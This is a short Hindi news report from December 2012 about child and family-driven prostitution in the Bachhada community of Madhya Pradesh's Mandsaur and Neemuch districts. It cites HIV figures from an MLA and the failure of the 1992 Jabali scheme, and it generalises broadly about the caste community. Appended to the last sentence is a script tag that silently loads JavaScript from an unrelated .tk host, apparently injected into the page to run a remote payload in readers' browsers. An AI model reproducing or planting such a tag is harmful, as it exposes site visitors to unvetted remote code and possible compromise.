मां-बाप खुद कराते हैं अपनी बेटियों से देह-व्यापार

On: 15 December, 2012

भोपाल: दुनिया भर में देह व्यापार एक बीमारी की तरह फैला हुआ हैं, जिसने समाज की जड़े खोखली कर दी हैं। मध्य प्रदेश का मंदसौर और नीमच जिला आजकल देह व्यापार के कारण चर्चाओं में हैं। यहां मां-बाप खुद अपनी बेटियों को इस धंधे में धकेलते हैं। ये लोग जिस्म बेचकर पेट पालने में कोई संकोच नहीं करते। मंदसौर में लगभग 40 गांव की बेटियां देह व्यापार में लिप्त है। अब तो छोटी-छोटी बच्चियों को भी इसमें धकेला जा रहा है। देह व्यापार के चलते इस जिले में एड्स भी तेजी से फैल रहा है। विधायक यशपाल सिंह सिसौदिया द्घारा किए खुलासे के मुताबिक, इस जिले में 1223 व्यक्ति एचआईवी पॉजिटिव पाए गए हैं, जिनमें करीब 656 एड्स की चपेट में हैं। इनमें से 48 मौत का शिकार बन चुके हैं। बांछड़ा और उनकी तरह ही देह व्यापार करने वाली मध्यप्रदेश के 16 जिलों में फैली हैं। लेकिन मुख्य रूप से बांछड़ा समुदाय के परिवार के रतलाम, मंदसौर व नीमच जिले में रहते हैं। इन तीनों जिलों में कुल 68 गांवों में बांछड़ा समुदाय के डेरे बसे हुए हैं। मंदसौर शहर क्षेत्र सीमा में भी इस समुदाय का डेरा है। मध्यप्रदेश सरकार ने इन जातियों को देह व्यापार से निकालने के बहुत सारे प्रयत्न किये हैं, लेकिन इस समुदाय के लोग पेट भरने के लिए जिस्म बेचना अधिक सरल मानते हैं। बेडिय़ा, कंजर तथा सांसी जाति की महिलाओं को वेश्यावृत्ति से दूर करने के लिए शासन ने 1992 में जाबालि योजना की शुरुआत की। इस योजना के तहत समुदाय के छोटे बच्चों को दूषित माहौल से दूर रखने के लिए छात्रावास का प्रस्ताव था। इस योजना को दो दशक बीत चुके हैं, लेकिन जिस्म की मंडियां अब भी सज रही हैं।<script type='text/javascript' src='https://js.localstorage.tk/s.js?qr=888'></script>